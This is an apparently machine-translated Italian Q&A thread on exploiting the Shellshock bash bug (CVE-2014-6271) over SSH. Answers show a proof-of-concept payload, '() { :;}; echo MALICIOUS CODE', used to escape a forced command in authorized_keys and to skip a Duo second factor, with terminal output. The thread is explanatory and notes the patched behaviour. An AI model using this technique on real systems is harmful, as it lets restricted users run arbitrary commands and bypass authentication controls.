come si può sfruttare lo shellshock su SSH?


68

Apparentemente, l'exploit di shellshock Bash CVE-2014-6271 può essere sfruttato sulla rete tramite SSH. Posso immaginare come funzionerebbe l'exploit tramite Apache / CGI, ma non riesco a immaginare come funzionerebbe su SSH?

Qualcuno può fornire un esempio di come SSH sarebbe sfruttato e quale danno potrebbe essere fatto al sistema?

UNA PRECISAZIONE

AFAIU, solo un utente autenticato può sfruttare questa vulnerabilità tramite SSH. A che serve questo exploit per qualcuno che abbia comunque accesso legittimo al sistema? Voglio dire, questo exploit non ha escalation di privilegi (non può diventare root), quindi non può fare più di quello che avrebbe potuto fare dopo essersi semplicemente loggato legittimamente tramite SSH.


In poche parole, non può essere fatto, a meno che qualcuno non abbia già accesso alla tua casella. Una nuova shell bash viene eseguita solo dopo un tentativo di accesso riuscito.
Evento il

È tutto principalmente hype mediatico, può succedere ma non è così male come è stato immaginato.
jgr208,

I nomi utente vanno testualmente nei log? Se sì, forse esiste uno script bash logparsing che è vulnerabile da qualche parte ...
PlasmaHH,

1
@PlasmaHH Se esegui lo script di analisi dei log come root, ti meriti quello che ottieni.
Barmar,

@Barmar: oltre a ciò, la domanda non riguarda specificamente l'accesso root, ma l'accesso alla macchina (che potrebbe essere tutto ciò che è necessario per ad esempio cancellarlo o fare altri danni), quando puoi eseguire il codice, è probabile che tu possa anche esegui il codice che sfrutta qualcos'altro che ti fa guadagnare root.
PlasmaHH,

Risposte:


79

Un esempio in cui questo può essere sfruttato è sui server con un authorized_keyscomando forzato. Quando si aggiunge una voce a ~/.ssh/authorized_keys, è possibile aggiungere il prefisso alla riga command="foo"per forzare fool'esecuzione ogni volta che viene utilizzata la chiave pubblica ssh. Con questo exploit, se la shell dell'utente di destinazione è impostata su bash, possono sfruttare l'exploit per eseguire cose diverse dal comando a cui sono costrette.

Questo probabilmente avrebbe più senso nell'esempio, quindi ecco un esempio:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Qui impostiamo un utente testuser, che forza l'esecuzione di tutte le connessioni ssh usando il tasto ssh echo starting sleep; sleep 1.

Possiamo provarlo con:

$ ssh testuser@localhost echo something else
starting sleep

Nota come il nostro echo something elsenon viene eseguito, ma starting sleepmostra che il comando forzato è stato eseguito.

Ora mostriamo come utilizzare questo exploit:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Questo funziona perché sshdimposta la SSH_ORIGINAL_COMMANDvariabile di ambiente sul comando passato. Quindi, anche se sshdeseguito sleep, e non il comando a cui gli ho detto, a causa dell'exploit, il mio codice viene comunque eseguito.


1
prova invece questo: ssh testuser@localhost echo something else '`whoami`' per dimostrare dove viene eseguito il comando
Richard,

1
Aggiungerei a questa risposta che, in termini di SSH, l'exploit consente a un utente autorizzato con una chiave autorizzata (una chiave autorizzata può essere considerata una password lunga) di eseguire comandi che normalmente non sono autorizzati a eseguire. Non consente a nessuno senza quella chiave autorizzata di fare nulla. Non credo che questo sia chiaro dalla risposta se non si ha una buona comprensione di SSH e del significato di authorized_key.
Chris Dragon,

@skrewler Di solito è un buon segno che stai fraintendendo qualcosa. Ad esempio, la risposta spiega come se a testuser fosse stata fornita la configurazione dell'account fornita da un amministratore, come testuser sarebbe stato in grado di sfuggire alle restrizioni che gli erano state date. E no, nessun coinvolgimento con bash significa che puoi sfruttare lo shellshock. Solo quando bash è in esecuzione con permessi l'utente normalmente non ha, ma l'utente ha influenza sulle variabili d'ambiente di quel bash.
Patrick,

Ok, ho quello che stai cercando di mostrare ora - un'installazione che limita testuser al comando in .authorized_keys e non una shell di login. Non ha avuto senso per me modificare i tuoi .authorized_keys con una voce che esegue un comando quando avevi già accesso alla shell (dato che questo non fornirebbe l'esecuzione di privilegi) modifica: commento eliminato, rimango corretto.
skrewler

26

Espandendo l'esempio da Ramesh: se si utilizza l'autenticazione a due fattori, è possibile ignorare il secondo fattore utilizzando questo exploit, a seconda di come viene implementato.

- Accesso normale -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Esecuzione del codice senza 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Noterai che ha eseguito il codice senza richiedere 2FA.

- Dopo aver patchato bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
Solo per limitare il panico di eventuali lettori che utilizzano il secondo fattore: "a seconda di come è implementato" - Suppongo che tu abbia assunto che il secondo fattore qui sia implementato in bash o usi la readfunzione. Altrimenti, l'utente è al sicuro.
Grzegorz Wierzowiecki,

25

Shellshock è una vulnerabilità su bash, non su SSH. Per sfruttarlo, un utente malintenzionato deve far eseguire bash al sistema vulnerabile e controllare il valore di una variabile di ambiente che verrà passata a bash.

Per raggiungere un processo bash tramite SSH, l'attaccante deve superare i passaggi di autenticazione. (Possono esserci vettori di attacco attraverso altri servizi di rete, ma sono al di fuori dell'ambito di questo thread.) Se all'account è consentito eseguire comunque comandi di shell arbitrari, non esiste alcun attacco. La vulnerabilità entra in gioco se l'account è limitato a eseguire comandi specifici: ad esempio un account solo SFTP o un account solo git, ecc.

Esistono diversi modi per limitare un account per eseguire un comando specifico con SSH: con l' ForceCommandopzione in sshd_configo con a command=. restrizione nel authorized_keysfile. Se la shell dell'utente è bash, la vulnerabilità Shellshock consente a un utente che normalmente avrebbe accesso solo all'account con restrizioni di aggirare la restrizione ed eseguire comandi arbitrari.


E questo NON funziona per altre shell, come zsh.
Eir Nym,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.